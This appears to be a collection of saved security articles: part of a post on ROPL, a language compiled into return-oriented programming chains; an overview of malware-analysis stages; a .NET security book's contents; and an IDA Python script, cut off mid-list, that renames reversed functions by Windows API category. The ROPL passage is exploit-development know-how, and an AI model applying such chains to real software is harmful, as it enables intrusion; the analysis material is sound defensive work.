        **!** printf(fmt, x)
        i = i+1
        cmp i, 11
        jne print
    }
[/code]

Sample above makes use of all of the features of ROPL, like:

  * functions,
  * function calls,
  * native function calls \(like invoking printf\),
  * local variables,
  * labels and conditional jumps,
  * address operator _@,_
  * dereference operator \[\],
  * arithmetic and comparison ops**.**

**Design considerations**

On “high levelness” scale of languages, we can put ROPL below C but above
ASM**.** Implementation was simplified by few assumptions:

  * all variables are unsigned 32 bit numbers,
  * reading and writing from/to memory is restricted to 32 bit values \(you can’t “natively” write a byte\),
  * all variables are stored in memory \(registers are used as temporary variables, they never store local vars permanently\),
  * every function is treated as recursive, so local vars are always stored on the emulated stack instead of a constant place in memory**.**

**Syntax**

You can read the full grammar here **.** Most important features below.

Arithmetic operators:

  * addition,
  * subtraction,
  * multiplication,
  * division,
  * negation**.**

Bitwise operators:

Comparison operators:

  * equality,
  * greater than,
  * lower than,
  * negations of the three above**.**

All operators should be treated as their unsigned C equivalents**.** Function
parameters are always passed by value. Since ROPL functions never return
anything \(in the same sense as void functions in C\), it’s necessary to use
pointers to get results from procedures**.** “@” is the “address of” operator.
Below is its usage example:

[code]

    fun foo(x){
     [x] = 1
    }
    fun main(){
     x = 0
     foo(@x)
     #here x=1
    }
[/code]

foo gets a pointer to x. Dereference operator \[\] interprets x as a memory
address to save a constant**.** On exit from foo x=1.

**Invoking native functions**

For ROP programs to print their results or influence the OS in interesting
ways, they have to be able to call native OS functions**.** In ROPL native
function calls are preceded by an exclamation mark:

[code]

    fun main(){
        x = 0
        fmt = "%d\n"
        **!** printf(fmt, x)
    }
[/code]

Above example will compile only if printf is found in the import table of the
target executable**.**

**Strings**

Strings in ROPL are syntactic sugar **.** During parsing, instruction “fmt =
‘%d\n’” is going to be replaced with “fmt = \[37, 100, 10, 0\]” \(values in
the table are ASCII codes for “%d\n”\)**.**

**Fin**

Last post will discuss the actual implementation of ROPL constructs like
tables, jumps, recursive calls, emulated stack, etc**.** Stay tuned <img
src='img/Temp2_6694.jpg' alt=':)' />

0 - http://users.ece.cmu.edu/~ejschwar/papers/usenix11.pdf

About these ads

****

# Mastering 4 Stages of Malware Analysis

**Created:**| _3/13/2014 9:32:05 PM_  
---|---  
**Updated:**| _3/13/2014 9:32:05 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

# Mastering 4 Stages of Malware Analysis

<img src='img/Temp2_5239.png' alt='image' />

Examining malicious software involves a variety of tasks, some simpler than
others. These efforts can be grouped into stages based on the nature of the
associated malware analysis techniques. Layered on top of each other, these
stages form a pyramid that grows upwards in complexity. The closer you get to
the top, the more burdensome the effort and the less common the skill set.

**Fully-Automated Analysis**

The easiest way to assess the nature of a suspicious file is to scan it using
fully-automated tools, some of which are available as commercial products and
some as free ones. These utilities are designed to quickly assess what the
specimen might do if it ran on a system. They typically produce reports with
details such as the registry keys used by the malicious program, its mutex
values, file activity, network traffic, etc.

Fully-automated tools usually don’t provide as much insight as a human analyst
would obtain when examining the specimen in a more manual fashion. However,
they contribute to the incident response process by rapidly handling vast
amounts of malware, allowing the analyst \(whose time is relatively
expensive\) to focus on the cases that truly require a human’s attention.

For a listing of free services and tools that can perform automated analysis,
see my lists of Toolkits for Automating Malware Analysis and Automated Malware
Analysis Services.

**Static Properties Analysis**

An analyst interested in taking a closer look at the suspicious file might
proceed by examining its static properties. Such details can be obtained
relatively quickly, because they don’t involve running the potentially-
malicious program. Static properties include the strings embedded into the
file, header details, hashes, embedded resources, packer signatures, meta data
such as the creation date, etc.

Looking at static properties can sometimes be sufficient for defining basic
indicators of compromise. This process also helps determine whether the
analyst should take closer look at the specimen using more comprehensive
techniques and where to focus the subsequent steps. Analyzing static
properties is useful as part of the incident triage effort.

VirusTotal is an example of an excellent online tool whose output includes the
file’s static properties. For a look at some free utilities you can run
locally in your lab, see my posts Analyzing Static Properties of Suspicious
Files on Windows and Examining XOR Obfuscation for Malware Analysis.

**Interactive Behavior Analysis**

After using automated tools and examining static properties of the file, as
well as taking into account the overall context of the investigation, the
analyst might decide to take a closer look at the specimen. This often entails
infecting an isolated laboratory system with the malicious program to observe
its behavior.

Behavioral analysis involves examining how sample runs in the lab to
understand its registry, file system, process and network activities.
Understanding how the program uses memory \(e.g., performing memory
forensics\) can bring additional insights. This malware analysis stage is
especially fruitful when the researcher interacts with the malicious program,
rather than passively observing the specimen.

The analyst might observe that the specimen attempts to connect to a
particular host, which is not accessible in the isolated lab. The researcher
could mimic the system in the lab and repeat the experiment to see what the
malicious program would do after it is able to connect. for example, if the
specimen uses the host as a command and control \(C2\) server, the analyst may
be able to learn about specimen by simulating the attacker’s C2 activities.
This approach to molding the lab to evoke additional behavioral
characteristics applies to files, registry keys and other dependencies that
the specimen might have.

Being able to exercise this level of control over the specimen in a properly-
orchestrated lab is what differentiates this stage from fully-automated
analysis tasks. Interacting with malware in creative ways is more time-
consuming and complicated than running fully-automated tools. It generally
requires more skills than performing the earlier tasks in the pyramid.

For additional insights related to interactive behavior analysis, see my post
Virtualized Network Isolation for a Malware Analysis Lab, a my recorded
webcast Intro to Behavioral Analysis of Malicious Software and Part 3 of Jake
Williams’ Tips on Malware Analysis and Reverse-Engineering.

**Manual Code Reversing**

Reverse-engineering the code that comprises the specimen can add valuable
insights to the findings available after completing interactive behavior
analysis. Some characteristics of the specimen are simply impractical to
exercise and examine without examining the code. Insights that only manual
code reversing can provide include:

  * Decoding encrypted data stored or transferred by the sample;
  * Determining the logic of the malicious program’s domain generation algorithm;
  * Understanding other capabilities of the sample that didn’t exhibit themselves during behavior analysis.

Manual code reversing involves the use of a disassembler and a debugger, which
could be aided by a decompiler and a variety of plugins and specialized tools
that automate some aspects of these efforts. Memory forensics can assist at
this stage of the pyramid as well.

Reversing code can take a lot of time and requires a skill set that is
relatively rare. For this reason, many malware investigations don’t dig into
the code. However, knowing how to perform at least some code reversing steps
greatly increases the analyst’s view into the nature of the malicious program
in a comp

To get a sense for basic aspects of code-level reverse engineering in the
context of other malware analysis stages, tune into my recorded webcast
Introduction to Malware Analysis. For a closer look at manual code reversing,
read Dennis Yurichev’s e-book Reverse Engineering for Beginners.

**Combining Malware Analysis Stages**

The process of examining malicious software involves several stages, which
could be listed in the order of increasing complexity and represented as a
pyramid. However, viewing these stages as discrete and sequential steps over-
simplifies the steps malware analysis process. In most cases, different types
of analysis tasks are intertwined, with the insights gathered in one stage
informing efforts conducted in another. Perhaps the stages could be
represented by a “wash, rinse, repeat" cycle, that could only be interrupted
when the analyst runs out of time.

If you’re interested in this topic, check out the malware analysis course I
teach at SANS Institute.

— Lenny Zeltser

P.S. The pyramid presented in this post is based on a similar diagram by
Alissa Torres.

# Security Driven .NET

**Created:**| _10/29/2013 9:36:00 AM_  
---|---  
**Updated:**| _10/29/2013 9:36:00 AM_  
**Author:**| __  
**Tags:**| _bookmark .Net secure coding_  
  

## Table of Contents:

  * Preface 
    * Who Is This Book For?
    * Why Is This Book Relevant Today?
    * What Makes This Book Different From Other ".NET Security" Books?
    * Source Code Samples
  * Random Number Generators
    * System.Random
    * RNGCryptoServiceProvider
    * Random Integers in Min-Max Range
  * FIPS Mode
  * Hash Functions
    * Object.GetHashCode
    * FNV-1a hash
    * Hash Flooding
    * FNV-1a with Entropy
    * SHA-1 hash
    * SipHash
    * Modern Non-Cryptographic Hashes
    * Cryptographic Hashes
  * HMAC
    * HMAC in .NET
    * Hash and HMAC Factories
  * Key Derivation
    * PBKDF2
    * HKDF
    * PBKDF2 and HKDF together
    * Salt
    * Key Separation
  * Byte Array Comparison
    * Direct Comparison
    * AND Comparison
    * XOR Comparison
    * Double-HMAC Comparison
  * Binary Encodings
    * Base64
    * Base32
    * Base16
  * Text Encodings
    * UTF-32
    * UTF-16
    * UTF-8
    * UTF-7
    * UTF Comparison
    * Safe Construction
    * Serialization
  * Symmetric Encryption
    * AES
    * Key
    * Cipher Mode
    * Padding Mode
    * Initialization Vector
  * Authenticated Encryption \(AE\)
    * Key Derivation
    * Primitive Choices
    * Length Leaks
    * Common Mistakes
  * ASP.NET Security
  * Session State
  * CSRF
  * Forms Authentication
    * Membership
    * Insider Threats
  * Credential Storage
  * Improving Forms Authentication
  * New ASP.NET Crypto Stack
  * ASP.NET CSRF API
  * Other ASP.NET Concerns
    * Label & Literal
    * Client-side PBKDF
  * Password Reset
  * Asymmetric \(Public-Key\) Cryptography
    * RSA Key Management
    * RSA Signatures
    * RSA Key Exchange
    * RSA Encryption
    * Perfect Forward Secrecy
    * Key Separation
  * Two-Factor Authentication \(2FA\)
    * HOTP
    * TOTP
  * Practicing What You Have Learned
    * RavenDB Encryption
    * MSDN Code Sample for Rfc2898DeriveBytes
    * MSDN Code Sample for AES Encryption

# Hooked on Mnemonics Worked for Me: Automated Generic Function Naming in IDA

**Created:**| _7/3/2012 7:46:23 PM_  
---|---  
**Updated:**| _7/3/2012 7:46:23 PM_  
**Author:**| __  
**Tags:**| _python iDA scripting_  
  

# Hooked on Mnemonics Worked for Me

###  Automated Generic Function Naming in IDA

While at REcon, I was chatting with an awesome individual by the name of Dan.
We started discussing speeding up the reverse engineering analysis process in
IDA. I mentioned "that I should create a script that would automatically
rename generic functions", his response was "I already have". He then showed
me his plugin for IDA that identified functions which called certain APIs that
fall into a certain set. One set I remember seeing was crypto. The set would
contain all APIs that are used for encrypting or decrypting data such as
CryptDecrypt. His plugin even had a GUI with columns written in QT. It was
pretty. His tool didn't rename the functions but the sets were very useful.
Best thing about REcon is odds are the guy or one of four ladies \(at the
conference\) sitting next to you is smarter than you.  
  
When I got back from the conference I found myself reversing a banking trojan
with 500+ functions. The size wasn't too much of an issue. The fact it was
multi-threaded was the issue. The malware author relied on critical-sections
for sharing and accessing data. I hate functions related to critical sections.
I rarely need to look at them. After manually identifying and labeling 190+
function and then after finding another critical section function \(that I
cared nothing about\), I decided it was time to write my own tool to help
generically name functions. Later in the evening I opened up a couple of IDBs
and sat down to think about all the generic functionality of windows APIs. The
most common functionality is networking \(winsock, WinINet\), registry, file
access and/or services, etc. I then started to audit the APIs called by
malware such as Zeus, Gozi and Farit or something similarly named. I then
ended up on MSDN looking up all the registry APIs. MSDN even had them all
listed. A quick regex and everything was formatted perfectly. Then I hit a
flaw. MSDN doesn't have the function named listed with the ascii
\(RegConnectRegistryA\) and widechar \(RegConnectRegistryW\) name. That won't
work because I won't be able to cross-reference the function by name in IDA.
Since most APIs are imported by name \(rather than ordinal\) I might as well
just grab them from the export table. This can be done in three lines using
Python and Pefile.  

[code]

    import pefile
    import sys
    
    pe = pefile.PE(sys.argv[1])
    for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
      print exp.name
    
[/code]

To get all the export names I passed the script a dll and piped the output to
a file.  

[code]

    python ex.py kernel32.dll > ker.txt
    
    AcquireSRWLockExclusive
    AcquireSRWLockShared
    ActivateActCtx
    AddAtomA
    AddAtomW
    AddConsoleAliasA
    AddConsoleAliasW
    AddDllDirectory
    AddIntegrityLabelToBoundaryDescriptor
    AddLocalAlternateComputerNameA
    AddLocalAlternateComputerNameW
    .....
    
[/code]

I then proceeded to do this for a number of Windows DLLs that I saw being
exported by malware. Once I had a decent list of APIs I started to parse out
APIs that belonged to the Registry set. After the set was created I decided to
store the APIs in a Python List structure. The first item in the list contains
the string that will be used when renaming the function.  

[code]

     reg = [ 'Reg', 'RegCloseKey' ,'RegConnectRegistryA' ,'RegConnectRegistryW' ,'RegCreateKeyA'.....]
    
[/code]

While auditing the malware IDBs and manually auditing the dumped exports I
came up with a number of sets that I could put APIs in. Here are the sets that
I came up with.  

[code]

    Registry
    Winsock
    WinINet
    Cache
    FTP
    Gopher
    Directories
    Mutex
    Pipe
    HTTP - subset of WinINet
    Enumerating Processing (enum)
    Hashing
    Cryptography
    Service
    File
    Certificates
    OS Information
    File Searching (file_s)
    Modifing processes 
    Virtual  - allocating memory 
    Critical section
    
[/code]

After creating the sets I then started to manually and generically place APIs
into sets. See the code below if you want see the full list. 1k+ APIs. From
here I just needed to search an IDB for the reference of an API. I knew IDA
had an api that could locate an APIs address by it's
name\(LocByName\(API\_NAME\),0\)\). From there all I would have to do is get
the address of the API, see if it cross-referenced, if so get the function
name and then rename the function with the first value in the list. The code
is rather simple.  

[code]

    for api_row in api_matrix:
        l = api_row[0]
        print l
        apis = api_row[1:]
        for api in apis:
            ref_addrs = CodeRefsTo(LocByName(api),0)
            for ref in ref_addrs:
                func_addr = LocByName(GetFunctionName(ref))
                func_name = GetFunctionName(ref)
                if l not in func_name:
                    MakeNameEx(func_addr , l + '_' + func_name , SN_NOWARN)
    
    print "complete"
    
[/code]

So how is this useful? Let's say we have a new piece of malware that has 632
functions with only four hits after running some Flirt signatures. We can run
this script and 163 functions would be generically renamed. These numbers came
from an backdoor executable that was used for testing. Of course these
functions \(if applicable\) will need to be manually analyzed and renamed to
something more specific. But from an inference perspective, generic renaming
saves a lot of time. Imagine reversing a large function that calls a number of
sub-functions. If those functions have generic naming you can infer what those
functions do and return without going into those functions. We can finish
analyzing the current function and then analyze the called functions if
needed. Below are some example functions renamed.  

<img src='img/Temp2_3966.png' />

Another very useful side effect of the generic naming is we can easily put
functions into groups. Say for example that we only are interested in the HTTP
POST request. We can search for http and narrow down your functions. Functions
Window CTRL+F http.  

<img src='img/Temp2_3967.png' />

  
  
Source Code: Download  

[code]

    # This hack/script will rename functions if it contains certain API names. 
    # Created by alexander.hanel@gmail.com
    # Example:
    #     Http_WinINet_StartAddress
    
    # create list of the APIs, first value is the string to append to the function name, the later values are the name of the APIs to look up
    # List of APIs related to registry 
    reg = [ 'Reg', 'RegCloseKey' ,'RegConnectRegistryA' ,'RegConnectRegistryW' ,'RegCreateKeyA' ,'RegCreateKeyExA' ,'RegCreateKeyExW',\
            'RegCreateKeyW' ,'RegDeleteKeyA' ,'RegDeleteKeyW' ,'RegDeleteValueA' ,'RegDeleteValueW' ,'RegDisablePredefinedCache' ,\
            'RegDisablePredefinedCacheEx' ,'RegEnumKeyA' ,'RegEnumKeyExA' ,'RegEnumKeyExW' ,'RegEnumKeyW' ,'RegEnumValueA' ,\
            'RegEnumValueW' ,'RegFlushKey' ,'RegGetKeySecurity' ,'RegLoadKeyA' ,'RegLoadKeyW' ,'RegNotifyChangeKeyValue' ,\
            'RegOpenCurrentUser' ,'RegOpenKeyA' ,'RegOpenKeyExA' ,'RegOpenKeyExW' ,'RegOpenKeyW' ,'RegOpenUserClassesRoot' ,\
            'RegOverridePredefKey' ,'RegQueryInfoKeyA' ,'RegQueryInfoKeyW' ,'RegQueryMultipleValuesA' ,'RegQueryMultipleValuesW' ,\
            'RegQueryValueA' ,'RegQueryValueExA' ,'RegQueryValueExW' ,'RegQueryValueW' ,'RegReplaceKeyA' ,'RegReplaceKeyW' ,\
            'RegRestoreKeyA' ,'RegRestoreKeyW' ,'RegSaveKeyA' ,'RegSaveKeyExA' ,'RegSaveKeyExW' ,'RegSaveKeyW' ,'RegSetKeySecurity' ,\
            'RegSetValueA' ,'RegSetValueExA' ,'RegSetValueExW' ,'RegSetValueW' ,'RegUnLoadKeyA' ,'RegUnLoadKeyW', 'SHDeleteEmptyKeyA' ,\
            'SHDeleteEmptyKeyW' ,'SHDeleteKeyA' ,'SHDeleteKeyW' ,'SHOpenRegStream2A' ,'SHOpenRegStream2W' ,'SHOpenRegStreamA' ,\
            'SHOpenRegStreamW' ,'SHQueryInfoKeyA' ,'SHQueryInfoKeyW' ,'SHQueryValueExA' ,'SHQueryValueExW' ,'SHRegCloseUSKey' ,\
            'SHRegCreateUSKeyA' ,'SHRegCreateUSKeyW' ,'SHRegDeleteEmptyUSKeyA' ,'SHRegDeleteEmptyUSKeyW' ,'SHRegDeleteUSValueA' ,\
            'SHRegDeleteUSValueW' ,'SHRegDuplicateHKey' ,'SHRegEnumUSKeyA' ,'SHRegEnumUSKeyW' ,'SHRegEnumUSValueA' ,'SHRegEnumUSValueW'\
            ,'SHRegGetBoolUSValueA' ,'SHRegGetBoolUSValueW' ,'SHRegGetPathA' ,'SHRegGetPathW' ,'SHRegGetUSValueA' ,'SHRegGetUSValueW' ,\
            'SHRegGetValueA' ,'SHRegGetValueW' ,'SHRegOpenUSKeyA' ,'SHRegOpenUSKeyW' ,'SHRegQueryInfoUSKeyA' ,'SHRegQueryInfoUSKeyW' ,\
            'SHRegQueryUSValueA' ,'SHRegQueryUSValueW' ,'SHRegSetPathA' ,'SHRegSetPathW' ,'SHRegSetUSValueA' ,'SHRegSetUSValueW' ,\
            'SHRegWriteUSValueA' ,'SHRegWriteUSValueW' ,'SHDeleteOrphanKeyA' ,'SHDeleteOrphanKeyW' ,'SHDeleteValueA' ,'SHDeleteValueW' ,\
            'SHEnumKeyExA' ,'SHEnumKeyExW' ,'SHEnumValueA' ,'SHEnumValueW' ,'SHGetValueA' ,'SHGetValueW' ,'SHOpenRegStream2A' ,\
            'SHOpenRegStream2W' ,'SHOpenRegStreamA' ,'SHOpenRegStreamW' ,'SHQueryInfoKeyA' ,'SHQueryInfoKeyW' ,'SHQueryValueExA' ,\
            'SHQueryValueExW' ,'SHRegCloseUSKey' ,'SHRegCreateUSKeyA' ,'SHRegCreateUSKeyW' ,'SHRegDeleteEmptyUSKeyA' ,\
            'SHRegDeleteEmptyUSKeyW' ,'SHRegDeleteUSValueA' ,'SHRegDeleteUSValueW' ,'SHRegDuplicateHKey' ,'SHRegEnumUSKeyA' ,\
            'SHRegEnumUSKeyW' ,'SHRegEnumUSValueA' ,'SHRegEnumUSValueW' ,'SHRegGetBoolUSValueA' ,'SHRegGetBoolUSValueW' ,'SHRegGetPathA' ,\
            'SHRegGetPathW' ,'SHRegGetUSValueA' ,'SHRegGetUSValueW' ,'SHRegGetValueA' ,'SHRegGetValueW' ,'SHRegOpenUSKeyA' ,'SHRegOpenUSKeyW' ,\
            'SHRegQueryInfoUSKeyA' ,'SHRegQueryInfoUSKeyW' ,'SHRegQueryUSValueA' ,'SHRegQueryUSValueW' ,'SHRegSetPathA' ,'SHRegSetPathW' ,\
            'SHRegSetUSValueA' ,'SHRegSetUSValueW' ,'SHRegWriteUSValueA' ,'SHRegWriteUSValueW']
    
    # List of APIs related to socket
    winsock = [ 'Ws2', 'FreeAddrInfoW', 'GetAddrInfoW', 'GetNameInfoW', 'WEP', 'WPUCompleteOverlappedRequest', 'WSAAccept', \
                'WSAAddressToStringA', 'WSAAddressToStringW', 'WSAAsyncGetHostByAddr', 'WSAAsyncGetHostByName', 'WSAAsyncGetProtoByName',\
                'WSAAsyncGetProtoByNumber', 'WSAAsyncGetServByName', 'WSAAsyncGetServByPort', 'WSAAsyncSelect', 'WSACancelAsyncRequest',\
                'WSACancelBlockingCall', 'WSACleanup', 'WSACloseEvent', 'WSAConnect', 'WSACreateEvent', 'WSADuplicateSocketA',\
                'WSADuplicateSocketW', 'WSAEnumNameSpaceProvidersA', 'WSAEnumNameSpaceProvidersW', 'WSAEnumNetworkEvents', 'WSAEnumProtocolsA',\
                'WSAEnumProtocolsW', 'WSAEventSelect', 'WSAGetLastError', 'WSAGetOverlappedResult', 'WSAGetQOSByName', \
                'WSAGetServiceClassInfoA', 'WSAGetServiceClassInfoW', 'WSAGetServiceClassNameByClassIdA', 'WSAGetServiceClassNameByClassIdW',\
                'WSAHtonl', 'WSAHtons', 'WSAInstallServiceClassA', 'WSAInstallServiceClassW', 'WSAIoctl', 'WSAIsBlocking', 'WSAJoinLeaf', \
                'WSALookupServiceBeginA', 'WSALookupServiceBeginW', 'WSALookupServiceEnd', 'WSALookupServiceNextA', 'WSALookupServiceNextW', \
                'WSANSPIoctl', 'WSANtohl', 'WSANtohs', 'WSAProviderConfigChange', 'WSARecv', 'WSARecvDisconnect', 'WSARecvFrom', \
                'WSARemoveServiceClass', 'WSAResetEvent', 'WSASend', 'WSASendDisconnect', 'WSASendTo', 'WSASetBlockingHook', 'WSASetEvent',\
                'WSASetLastError', 'WSASetServiceA', 'WSASetServiceW', 'WSASocketA', 'WSASocketW', 'WSAStartup', 'WSAStringToAddressA', \
                'WSAStringToAddressW', 'WSAUnhookBlockingHook', 'WSAWaitForMultipleEvents', 'WSApSetPostRoutine', 'WSCDeinstallProvider', \
                'WSCEnableNSProvider', 'WSCEnumProtocols', 'WSCGetProviderPath', 'WSCInstallNameSpace', 'WSCInstallProvider', 'WSCUnInstallNameSpace',\
                'WSCUpdateProvider', 'WSCWriteNameSpaceOrder', 'WSCWriteProviderOrder', '__WSAFDIsSet', 'accept', 'bind', 'closesocket', 'connect', \
                'freeaddrinfo', 'getaddrinfo', 'gethostbyaddr', 'gethostbyname', 'gethostname', 'getnameinfo', 'getpeername', 'getprotobyname', \
                'getprotobynumber', 'getservbyname', 'getservbyport', 'getsockname', 'getsockopt', 'htonl', 'htons', 'inet_addr', 'inet_ntoa', \
                'ioctlsocket', 'listen', 'ntohl', 'ntohs', 'recv', 'recvfrom', 'select', 'send', 'sendto', 'setsockopt', 'shutdown', 'socket']
    
    WinINet = [ 'WINet', 'CreateMD5SSOHash', 'DetectAutoProxyUrl', 'DllInstall', 'ForceNexusLookup', 'ForceNexusLookupExW', 'InternetAlgIdToStringA',\
                'InternetAlgIdToStringW', 'InternetAttemptConnect', 'InternetAutodial', 'InternetAutodialCallback', 'InternetAutodialHangup',\
                'InternetCanonicalizeUrlA', 'InternetCanonicalizeUrlW', 'InternetCheckConnectionA', 'InternetCheckConnectionW', \
                'InternetClearAllPerSiteCookieDecisions', 'InternetCloseHandle', 'InternetCombineUrlA', 'InternetCombineUrlW', \
                'InternetConfirmZoneCrossing', 'InternetConfirmZoneCrossingA', 'InternetConfirmZoneCrossingW', 'InternetConnectA',\
                'InternetConnectW', 'InternetCrackUrlA', 'InternetCrackUrlW', 'InternetCreateUrlA', 'InternetCreateUrlW', 'InternetDial',\
                'InternetDialA', 'InternetDialW', 'InternetEnumPerSiteCookieDecisionA', 'InternetEnumPerSiteCookieDecisionW', 'InternetErrorDlg',\
                'InternetFindNextFileA', 'InternetFindNextFileW', 'InternetFortezzaCommand', 'InternetGetCertByURL', 'InternetGetCertByURLA',\
                'InternetGetConnectedState', 'InternetGetConnectedStateEx', 'InternetGetConnectedStateExA', 'InternetGetConnectedStateExW',\
                'InternetGetCookieA', 'InternetGetCookieExA', 'InternetGetCookieExW', 'InternetGetCookieW', 'InternetGetLastResponseInfoA', \
                'InternetGetLastResponseInfoW', 'InternetGetPerSiteCookieDecisionA', 'InternetGetPerSiteCookieDecisionW', 'InternetGoOnline',\
                'InternetGoOnlineA', 'InternetGoOnlineW', 'InternetHangUp', 'InternetInitializeAutoProxyDll', 'InternetLockRequestFile',\
                'InternetOpenA', 'InternetOpenUrlA', 'InternetOpenUrlW', 'InternetOpenW', 'InternetQueryDataAvailable', 'InternetQueryFortezzaStatus',\
                'InternetQueryOptionA', 'InternetQueryOptionW', 'InternetReadFile', 'InternetReadFileExA', 'InternetReadFileExW', \
                'InternetSecurityProtocolToStringA', 'InternetSecurityProtocolToStringW', 'InternetSetCookieA', 'InternetSetCookieExA', \
                'InternetSetCookieExW', 'InternetSetCookieW', 'InternetSetDialState', 'InternetSetDialStateA', 'InternetSetDialStateW',\
                'InternetSetFilePointer', 'InternetSetOptionA', 'InternetSetOptionExA', 'InternetSetOptionExW', 'InternetSetOptionW', \
                'InternetSetPerSiteCookieDecisionA', 'InternetSetPerSiteCookieDecisionW', 'InternetSetStatusCallback', 'InternetSetStatusCallbackA',\
                'InternetSetStatusCallbackW', 'InternetShowSecurityInfoByURL', 'InternetShowSecurityInfoByURLA', 'InternetShowSecurityInfoByURLW', \
                'InternetTimeFromSystemTime', 'InternetTimeFromSystemTimeA', 'InternetTimeFromSystemTimeW', 'InternetTimeToSystemTime',\
                'InternetTimeToSystemTimeA', 'InternetTimeToSystemTimeW', 'InternetUnlockRequestFile', 'InternetWriteFile', 'InternetWriteFileExA',\
                'InternetWriteFileExW', 'IsHostInProxyBypassList', 'ParseX509EncodedCertificateForListBoxEntry', 'PrivacyGetZonePreferenceW', \
                'PrivacySetZonePreferenceW', 'ResumeSuspendedDownload', 'ShowCertificate', 'ShowClientAuthCerts', 'ShowSecurityInfo', \
                'ShowX509EncodedCertificate','UrlZonesDetach', '_GetFileExtensionFromUrl'] 
    
    cache = [ 'Cach','CommitUrlCacheEntryA', 'CommitUrlCacheEntryW', 'CreateUrlCacheContainerA', 'CreateUrlCacheContainerW', 'CreateUrlCacheEntryA',\
              'CreateUrlCacheEntryW', 'CreateUrlCacheGroup', 'DeleteIE3Cache', 'DeleteUrlCacheContainerA', 'DeleteUrlCacheContainerW', \
              'DeleteUrlCacheEntry', 'DeleteUrlCacheEntryA', 'DeleteUrlCacheEntryW', 'DeleteUrlCacheGroup', 'FindCloseUrlCache', 'FindFirstUrlCacheContainerA',\
              'FindFirstUrlCacheContainerW', 'FindFirstUrlCacheEntryA', 'FindFirstUrlCacheEntryExA', 'FindFirstUrlCacheEntryExW', 'FindFirstUrlCacheEntryW', \
              'FindFirstUrlCacheGroup', 'FindNextUrlCacheContainerA', 'FindNextUrlCacheContainerW', 'FindNextUrlCacheEntryA', 'FindNextUrlCacheEntryExA',\
              'FindNextUrlCacheEntryExW', 'FindNextUrlCacheEntryW', 'FindNextUrlCacheGroup', 'FreeUrlCacheSpaceA', 'FreeUrlCacheSpaceW', 'GetUrlCacheConfigInfoA', \
              'GetUrlCacheConfigInfoW', 'GetUrlCacheEntryInfoA', 'GetUrlCacheEntryInfoExA', 'GetUrlCacheEntryInfoExW', 'GetUrlCacheEntryInfoW', \
              'GetUrlCacheGroupAttributeA', 'GetUrlCacheGroupAttributeW', 'GetUrlCacheHeaderData', 'IncrementUrlCacheHeaderData', 'IsUrlCacheEntryExpiredA',\
              'IsUrlCacheEntryExpiredW', 'LoadUrlCacheContent', 'ReadUrlCacheEntryStream', 'RegisterUrlCacheNotification', 'RetrieveUrlCacheEntryFileA', \
              'RetrieveUrlCacheEntryFileW', 'RetrieveUrlCacheEntryStreamA', 'RetrieveUrlCacheEntryStreamW', 'RunOnceUrlCache', 'SetUrlCacheConfigInfoA',\
              'SetUrlCacheConfigInfoW', 'SetUrlCacheEntryGroup', 'SetUrlCacheEntryGroupA', 'SetUrlCacheEntryGroupW', 'SetUrlCacheEntryInfoA', 'SetUrlCacheEntryInfoW',\
              'SetUrlCacheGroupAttributeA', 'SetUrlCacheGroupAttributeW', 'SetUrlCacheHeaderData', 'UnlockUrlCacheEntryFile', 'UnlockUrlCacheEntryFileA', \
              'UnlockUrlCacheEntryFileW', 'UnlockUrlCacheEntryStream', 'UpdateUrlCacheContentPath']
    
    ftp = [ 'Ftp','FtpCommandA' ,'FtpCommandW' ,'FtpCreateDirectoryA' ,'FtpCreateDirectoryW' ,'FtpDeleteFileA' ,'FtpDeleteFileW' ,'FtpFindFirstFileA' ,\
            'FtpFindFirstFileW' ,'FtpGetCurrentDirectoryA' ,'FtpGetCurrentDirectoryW' ,'FtpGetFileA' ,'FtpGetFileEx' ,'FtpGetFileSize' ,'FtpGetFileW' ,\
            'FtpOpenFileA' ,'FtpOpenFileW' ,'FtpPutFileA' ,'FtpPutFileEx' ,'FtpPutFileW' ,'FtpRemoveDirectoryA' ,'FtpRemoveDirectoryW' ,'FtpRenameFileA' ,\
            'FtpRenameFileW' ,'FtpSetCurrentDirectoryA' ,'FtpSetCurrentDirectoryW']
    
    gopher = [ 'Gopher', 'GopherCreateLocatorA', 'GopherCreateLocatorW', 'GopherFindFirstFileA', 'GopherFindFirstFileW', 'GopherGetAttributeA', \
               'GopherGetAttributeW', 'GopherGetLocatorTypeA', 'GopherGetLocatorTypeW', 'GopherOpenFileA', 'GopherOpenFileW'] 
    
    # Shlwapi.dll
    url = ['Url', 'UrlApplySchemeA' ,'UrlApplySchemeW' ,'UrlCanonicalizeA' ,'UrlCanonicalizeW' ,'UrlCombineA' ,'UrlCombineW' ,'UrlCompareA' ,\
           'UrlCompareW' ,'UrlCreateFromPathA' ,'UrlCreateFromPathW' ,'UrlEscapeA' ,'UrlEscapeW' ,'UrlGetLocationA' ,'UrlGetLocationW' ,'UrlGetPartA'\
           ,'UrlGetPartW' ,'UrlHashA' ,'UrlHashW' ,'UrlIsA' ,'UrlIsNoHistoryA' ,'UrlIsNoHistoryW' ,'UrlIsOpaqueA' ,'UrlIsOpaqueW' ,'UrlIsW' ,'UrlUnescapeA' ,'UrlUnescapeW']
    
    dir = ['Dir','CreateDirectoryA', 'CreateDirectoryExA', 'CreateDirectoryExW', 'CreateDirectoryW', 'GetCurrentDirectoryA', 'GetCurrentDirectoryW',\
           'GetDllDirectoryA', 'GetDllDirectoryW', 'GetSystemDirectoryA', 'GetSystemDirectoryW', 'GetSystemWindowsDirectoryA', 'GetSystemWindowsDirectoryW',\
           'GetSystemWow64DirectoryA', 'GetSystemWow64DirectoryW', 'GetVDMCurrentDirectories', 'GetWindowsDirectoryA', 'GetWindowsDirectoryW', \
           'ReadDirectoryChangesW', 'RemoveDirectoryA', 'RemoveDirectoryW', 'SetCurrentDirectoryA', 'SetCurrentDirectoryW', 'SetDllDirectoryA',\
           'SetDllDirectoryW', 'SetVDMCurrentDirectories', 'SHCreateDirectory', 'SHCreateDirectoryExA', 'SHCreateDirectoryExW']
    
    # Mutex
    mutex = ['Mutx','CreateMutexA', 'CreateMutexW', 'OpenMutexA', 'OpenMutexW', 'ReleaseMutex']
    
    # Pipe 
    pipe = [ 'Pipe', 'CallNamedPipeA', 'CallNamedPipeW', 'ConnectNamedPipe', 'CreateNamedPipeA', 'CreateNamedPipeW', 'CreatePipe', 'DisconnectNamedPipe',\
             'GetNamedPipeHandleStateA', 'GetNamedPipeHandleStateW', 'GetNamedPipeInfo', 'PeekNamedPipe', 'SetNamedPipeHandleState', 'TransactNamedPipe',\
